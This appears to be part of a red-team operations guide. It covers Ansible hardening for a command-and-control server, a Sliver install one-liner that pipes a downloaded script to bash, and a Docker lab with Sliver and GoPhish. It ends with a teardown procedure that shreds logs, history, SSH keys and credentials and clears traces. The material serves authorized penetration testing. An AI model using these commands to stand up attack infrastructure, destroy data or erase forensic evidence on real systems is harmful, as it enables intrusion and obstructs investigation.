      lineinfile:
        path: /etc/ssh/sshd_config
        regexp: "{{ item.regexp }}"
        line: "{{ item.line }}"
      loop:
        - { regexp: '^#?Port ', line: 'Port {{ ssh_port }}' }
        - { regexp: '^#?PasswordAuthentication', line: 'PasswordAuthentication no' }
        - { regexp: '^#?PermitRootLogin', line: 'PermitRootLogin no' }
        - { regexp: '^#?PubkeyAuthentication', line: 'PubkeyAuthentication yes' }
        - { regexp: '^#?MaxAuthTries', line: 'MaxAuthTries 3' }
        - { regexp: '^#?X11Forwarding', line: 'X11Forwarding no' }
        - { regexp: '^#?AllowUsers', line: 'AllowUsers {{ operator_user }}' }
        - { regexp: '^#?ClientAliveInterval', line: 'ClientAliveInterval 300' }
        - { regexp: '^#?ClientAliveCountMax', line: 'ClientAliveCountMax 2' }
      notify: Restart SSH

    - name: Configure fail2ban
      copy:
        dest: /etc/fail2ban/jail.local
        content: |
          [sshd]
          enabled = true
          port = {{ ssh_port }}
          maxretry = 3
          bantime = 3600
          findtime = 600

    - name: Start fail2ban
      systemd:
        name: fail2ban
        state: started
        enabled: yes

    - name: Configure iptables firewall
      copy:
        dest: /opt/c2/firewall.sh
        mode: "0700"
        content: |
          #!/bin/bash
          iptables -F && iptables -X
          iptables -P INPUT DROP
          iptables -P FORWARD DROP
          iptables -P OUTPUT ACCEPT
          iptables -A INPUT -i lo -j ACCEPT
          iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
          iptables -A INPUT -p tcp --dport {{ ssh_port }} -s {{ mgmt_vpn_cidr }} -j ACCEPT
          {% for ip in redirector_ips %}
          iptables -A INPUT -p tcp --dport 443 -s {{ ip }} -j ACCEPT
          iptables -A INPUT -p tcp --dport 80 -s {{ ip }} -j ACCEPT
          iptables -A INPUT -p udp --dport 53 -s {{ ip }} -j ACCEPT
          {% endfor %}
          iptables -A INPUT -j DROP
          iptables-save > /etc/iptables/rules.v4

    - name: Run firewall script
      command: /opt/c2/firewall.sh

    - name: Deploy log encryption cron
      copy:
        dest: /etc/cron.daily/encrypt-logs
        mode: "0700"
        content: |
          #!/bin/bash
          DATE=$(date +%Y%m%d)
          tar czf /tmp/logs-${DATE}.tar.gz /var/log/c2/ 2>/dev/null
          gpg --symmetric --cipher-algo AES256 --batch --passphrase-file /root/.logkey \
            /tmp/logs-${DATE}.tar.gz
          mv /tmp/logs-${DATE}.tar.gz.gpg /root/encrypted-logs/
          shred -vfz -n 3 /tmp/logs-${DATE}.tar.gz
          find /var/log/c2/ -type f -mtime +1 -exec shred -vfz -n 3 {} \;

    - name: Deploy redirector monitor
      copy:
        dest: /opt/c2/monitor.sh
        mode: "0700"
        content: |
          #!/bin/bash
          REDIRECTORS=({% for ip in redirector_ips %}"https://{{ ip }}" {% endfor %})
          for URL in "${REDIRECTORS[@]}"; do
            HTTP_CODE=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 10 "$URL")
            if [ "$HTTP_CODE" != "200" ] && [ "$HTTP_CODE" != "302" ]; then
              curl -sk -X POST "{{ monitor_webhook }}" \
                -H "Content-Type: application/json" \
                -d "{\"text\": \"[ALERT] Redirector DOWN: $URL (HTTP $HTTP_CODE) at $(date -u)\"}"
            fi
          done

    - name: Schedule redirector monitoring
      cron:
        name: "Monitor redirectors"
        minute: "*/5"
        job: "/opt/c2/monitor.sh"

    - name: Disable IPv6
      sysctl:
        name: "{{ item }}"
        value: "1"
        state: present
        reload: yes
      loop:
        - net.ipv6.conf.all.disable_ipv6
        - net.ipv6.conf.default.disable_ipv6

  handlers:
    - name: Restart SSH
      systemd:
        name: sshd
        state: restarted
# Run the playbook
ansible-playbook -i inventory.ini playbook.yml

# inventory.ini
# [c2]
# c2-server ansible_host=C2-IP ansible_port=2222 ansible_user=operator
#
# [redirectors]
# redir-01 ansible_host=203.0.113.10 ansible_port=22 ansible_user=root
# redir-02 ansible_host=203.0.113.20 ansible_port=22 ansible_user=root
#
# [phishing]
# phish-01 ansible_host=PHISH-IP ansible_port=22 ansible_user=root

#Quick Deploy Scripts

# One-liner: deploy Sliver C2 on fresh Ubuntu VPS
curl -sL https://sliver.sh/install | sudo bash && \
  sliver-server daemon &

#Docker-Compose - Full Local C2 Lab

Complete local lab with C2 server, redirector, and phishing server. Useful for testing infrastructure before deploying to cloud.

# docker-compose.yml - Local red team lab
# Usage: docker compose up -d
# Access Sliver: docker exec -it sliver-c2 sliver
# Access GoPhish: https://localhost:3333 (default creds: admin / gophish_password in logs)

services:
  sliver:
    image: bishopfox/sliver
    container_name: sliver-c2
    ports:
      - "127.0.0.1:31337:31337"   # Operator port (local only)
    volumes:
      - sliver-data:/root/.sliver
    networks:
      - c2-internal
    restart: unless-stopped

  redirector:
    image: nginx:alpine
    container_name: redirector
    ports:
      - "443:443"
      - "80:80"
    volumes:
      - ./nginx.conf:/etc/nginx/conf.d/default.conf:ro
      - ./certs:/etc/nginx/certs:ro
    depends_on:
      - sliver
    networks:
      - c2-internal
      - external
    restart: unless-stopped

  gophish:
    image: gophish/gophish
    container_name: gophish
    ports:
      - "127.0.0.1:3333:3333"     # Admin panel (local only)
      - "8080:8080"                 # Phishing landing page
    volumes:
      - gophish-data:/opt/gophish/data
    networks:
      - external
    restart: unless-stopped

  mail:
    image: mailhog/mailhog
    container_name: mailserver
    ports:
      - "127.0.0.1:8025:8025"     # Web UI (local only)
      - "1025:1025"                 # SMTP
    networks:
      - external
    restart: unless-stopped

volumes:
  sliver-data:
  gophish-data:

networks:
  c2-internal:
    internal: true                  # No internet access for C2 backend
  external:
    driver: bridge
# Generate self-signed certs for local lab
mkdir -p certs
openssl req -x509 -newkey rsa:4096 -keyout certs/key.pem -out certs/cert.pem \
  -sha256 -days 365 -nodes -subj "/CN=localhost"

# Start the lab
docker compose up -d

# Check all services are running
docker compose ps

# View GoPhish admin password (printed in first-run logs)
docker logs gophish 2>&1 | grep "Please login with"

# Tear down (preserves data volumes)
docker compose down

# Tear down and wipe all data
docker compose down -v

Automated domain categorization checker:

#!/bin/bash
# check-categorization.sh - Check domain reputation across vendors
DOMAIN="${1:?Usage: $0 domain.com}"

echo "[*] Checking categorization for: $DOMAIN"

# Bluecoat / Symantec
echo "[+] Bluecoat: https://sitereview.bluecoat.com/#/lookup-result/$DOMAIN"

# Check VirusTotal
echo "[+] Checking VirusTotal..."
VT_KEY="YOUR_VT_API_KEY"
curl -s "https://www.virustotal.com/api/v3/domains/$DOMAIN" \
  -H "x-apikey: $VT_KEY" | jq '{
    reputation: .data.attributes.reputation,
    categories: .data.attributes.categories,
    last_analysis_stats: .data.attributes.last_analysis_stats
  }'

# Check if domain resolves
echo "[+] DNS Resolution:"
dig +short "$DOMAIN" A
dig +short "$DOMAIN" MX

# Check archive.org
echo "[+] Archive.org: https://web.archive.org/web/*/$DOMAIN"

# Check certificate transparency
echo "[+] Certificate Transparency (crt.sh):"
curl -s "https://crt.sh/?q=%25.$DOMAIN&output=json" | \
  jq -r '.[0:5] | .[] | "\(.not_before) - \(.name_value)"' 2>/dev/null

#Post-Op Cleanup

#Why Order Matters

Teardown order is critical. If you destroy servers before removing DNS records, orphaned DNS records point at IPs that may be reassigned to someone else, potentially redirecting your client's traffic to a stranger. If you wipe data before extracting what you need for the report, you lose evidence of your findings.

Correct teardown sequence:

  1. Extract report data - Save what you need for the engagement report FIRST
  2. Stop DNS - Remove DNS records so no new traffic flows to your infra
  3. Revoke certificates - Prevent certificate reuse
  4. Wipe remote data - Shred logs, artifacts, credentials on all VPS instances
  5. Destroy cloud resources - Terraform destroy, delete VPS, Workers, Functions
  6. Verify teardown - Confirm DNS is dead, IPs are unresponsive
  7. Clean local machine - History, SSH entries, browser data, Terraform state
  8. Domain decision - Release or hold for future use

#Reporting Considerations

Before destroying anything, decide what to preserve for the report and what to destroy.

Preserve for Report Destroy Immediately
Beacon callback timestamps and session logs Target user credentials (or encrypt and hand to client)
Screenshots of successful access (redacted PII) Raw keylog data
Operator command history (sanitized) LSASS dumps, SAM extracts
Phishing campaign statistics (GoPhish export) Implant binaries and stagers
Infrastructure diagram (for methodology section) SSH private keys for engagement
C2 profile and malleable config (for reproducibility) VPN configs, API tokens
Network traffic samples (redacted) Payment information and registrar credentials

Best practice: Export and encrypt report data to a local encrypted volume BEFORE starting teardown. Use GPG with a key the team controls. Once verified, proceed with destruction.

# === PRE-TEARDOWN: Extract report data ===
mkdir -p /tmp/engagement-report && cd /tmp/engagement-report

# Pull C2 logs
scp -P 2222 operator@C2-IP:/var/log/c2/*.log ./c2-logs/

# Pull GoPhish campaign data
scp -P 2222 operator@PHISH-IP:/opt/gophish/data/gophish.db ./

# Pull beacon session data (Cobalt Strike)
scp -P 2222 operator@C2-IP:/opt/c2/cobaltstrike/logs/ ./cs-logs/ -r

# Pull Sliver session data
scp -P 2222 operator@C2-IP:/root/.sliver/ ./sliver-data/ -r

# Encrypt the report bundle
tar czf engagement-data.tar.gz ./*
gpg --symmetric --cipher-algo AES256 engagement-data.tar.gz
shred -vfz -n 3 engagement-data.tar.gz
# Move the .gpg file to your secure storage

#Infrastructure Teardown

# === PHASE 1: Remove DNS records (stop all traffic flow) ===
# This is FIRST because it stops new connections from reaching your infra.
# Existing connections may persist until servers are killed.
ZONE_ID="your_zone_id"
CF_API_TOKEN="your_token"

RECORDS=$(curl -s "https://api.cloudflare.com/client/v4/zones/${ZONE_ID}/dns_records" \
  -H "Authorization: Bearer ${CF_API_TOKEN}" | jq -r '.result[].id')

for RECORD_ID in $RECORDS; do
  curl -X DELETE "https://api.cloudflare.com/client/v4/zones/${ZONE_ID}/dns_records/${RECORD_ID}" \
    -H "Authorization: Bearer ${CF_API_TOKEN}"
done
echo "[+] DNS records deleted. No new traffic will reach infrastructure."

# === PHASE 2: Revoke and delete certificates ===
sudo certbot revoke --cert-name cdn-assets.example.com --delete-after-revoke

curl -X DELETE "https://api.cloudflare.com/client/v4/zones/${ZONE_ID}/ssl/certificate_packs/${CERT_ID}" \
  -H "Authorization: Bearer ${CF_API_TOKEN}"

# === PHASE 3: Wipe C2 data and logs on all remote servers ===
for SERVER in "C2-IP" "REDIRECTOR-IP" "PHISH-IP"; do
  ssh -p 2222 operator@$SERVER << 'REMOTEEOF'
    # Stop all services
    sudo pkill -9 teamserver sliver-server gophish 2>/dev/null
    sudo systemctl stop cobaltstrike sliver nginx apache2 postfix 2>/dev/null

    # Securely wipe C2 data
    sudo find /opt/c2/ -type f -exec shred -vfz -n 3 {} \;
    sudo find /opt/gophish/ -type f -exec shred -vfz -n 3 {} \; 2>/dev/null
    sudo find /var/log/ -type f -exec shred -vfz -n 1 {} \;
    sudo shred -vfz -n 3 ~/.bash_history ~/.zsh_history 2>/dev/null

    # Wipe SSH keys and host keys
    sudo shred -vfz -n 3 ~/.ssh/* /etc/ssh/ssh_host_* 2>/dev/null

    # Wipe credentials and configs
    sudo shred -vfz -n 3 /root/.logkey /root/.luks-keyfile 2>/dev/null
    sudo find /etc/opendkim/ -type f -exec shred -vfz -n 3 {} \; 2>/dev/null

    # Clear cron jobs
    crontab -r 2>/dev/null
    sudo crontab -r 2>/dev/null
REMOTEEOF
done

# === PHASE 4: Destroy cloud resources ===
# Terraform
cd /path/to/terraform/project
terraform destroy -auto-approve

# Or do-manager
# do-manager droplet delete --name c2-server --force
# do-manager droplet delete --name redir-01 --force
# do-manager droplet delete --name phish-01 --force
# do-manager firewall delete --name c2-fw
# do-manager firewall delete --name redir-fw

# Remove serverless functions
# Cloudflare Workers
wrangler delete c2-relay 2>/dev/null

# AWS Lambda
aws lambda delete-function --function-name c2relay 2>/dev/null

# Azure Functions
az functionapp delete --name c2relay --resource-group redteam-rg 2>/dev/null

# GCP Cloud Functions
gcloud functions delete c2relay --quiet 2>/dev/null

# === PHASE 5: Verify teardown ===
echo "[*] Verifying infrastructure teardown..."

# Check DNS resolution is gone
dig +short cdn-assets.example.com
dig +short static.example.com
dig +short mail.example.com

# Verify VPS IPs are no longer responding
nmap -Pn -p 80,443,2222,25 REDIRECTOR-IP C2-IP PHISH-IP

# Check certificate transparency for any leftover certs
curl -s "https://crt.sh/?q=%.example.com&output=json" | \
  jq '.[0:3] | .[].name_value'

echo "[*] Remote teardown complete. Proceeding to local cleanup."

# === PHASE 6: Local machine cleanup ===

# Wipe Terraform state (contains all IPs and secrets in plaintext)
shred -vfz -n 3 terraform.tfvars 2>/dev/null
find . -name "*.tfstate*" -exec shred -vfz -n 3 {} \;
rm -rf .terraform/ terraform.tfstate* 2>/dev/null

# Wipe do-manager configs
shred -vfz -n 3 ~/.config/do-manager/*.json 2>/dev/null

# Clean SSH known_hosts (remove engagement host fingerprints)
for IP in C2-IP REDIRECTOR-IP PHISH-IP; do
  ssh-keygen -R "$IP" 2>/dev/null
  ssh-keygen -R "[$IP]:2222" 2>/dev/null
done

# Rotate engagement SSH keys
shred -vfz -n 3 ~/.ssh/redteam_ed25519 ~/.ssh/redteam_ed25519.pub 2>/dev/null
ssh-keygen -t ed25519 -f ~/.ssh/redteam_ed25519 -N "" -q <<< y

# Clear shell history
history -c
shred -vfz -n 3 ~/.bash_history ~/.zsh_history 2>/dev/null
# For zsh with HISTFILE in memory:
fc -p /dev/null

# Clear browser data for engagement-related sites
# Firefox: delete profile or clear specific site data
# Chrome: chrome://settings/content/all -> search engagement domains

# Wipe clipboard
xclip -selection clipboard < /dev/null 2>/dev/null
xsel --clipboard --clear 2>/dev/null

# Remove any engagement-related Docker artifacts
docker system prune -af --volumes 2>/dev/null

echo "[*] Local cleanup complete."

#Domain Decision: Release or Hold?

Factor Release Domain Hold Domain
Single engagement Release after 30 days (let DNS caches expire). No future need. Hold if the domain has good categorization that took weeks to build.
Ongoing client Release if the domain was flagged/burned. It is now associated with malicious activity. Hold if clean. Recategorize and reuse for next engagement phase.
Cost Stops renewal fees. Domain returns to public pool after expiry. ~$10-15/year. Cheap insurance for a pre-categorized domain.
OPSEC risk of holding No risk once released. Domain is tied to your registrar account. If account is compromised, past ops are linked.
Recommendation Default choice for most engagements. Only hold for long-term retainer clients with multi-phase assessments.

If holding: remove all DNS records, remove Cloudflare configuration, but keep the domain registered. Park it with a generic holding page. If releasing: let it expire naturally (do not explicitly delete, as some registrars have grace periods where the domain stays associated with your account).

#Quick Teardown Checklist

Phase Step Action
0 Report data Extract and encrypt all data needed for the engagement report
1 DNS Delete all DNS records (A, CNAME, MX, TXT, NS) to stop traffic
2 Certificates Revoke Let's Encrypt certs, delete Cloudflare origin certs
3 Remote wipe Shred logs, C2 data, credentials, SSH keys on all VPS instances
4 Cloud destroy terraform destroy / do-manager droplet delete / manual VPS termination
5 Serverless Delete Cloudflare Workers, Lambda functions, Azure Functions, GCP Functions
6 Verify DNS resolution gone, VPS IPs dead, crt.sh checked
7 Local SSH Clean ~/.ssh/known_hosts, rotate engagement SSH keys
8 Local state Shred terraform.tfvars, .tfstate, API tokens, engagement configs
9 Local history Clear shell history, browser history, clipboard
10 Docker docker system prune -af --volumes if local lab was used
11 Domain Decide: release or hold for future ops

#Also See

#Cyber Aurelien Guidi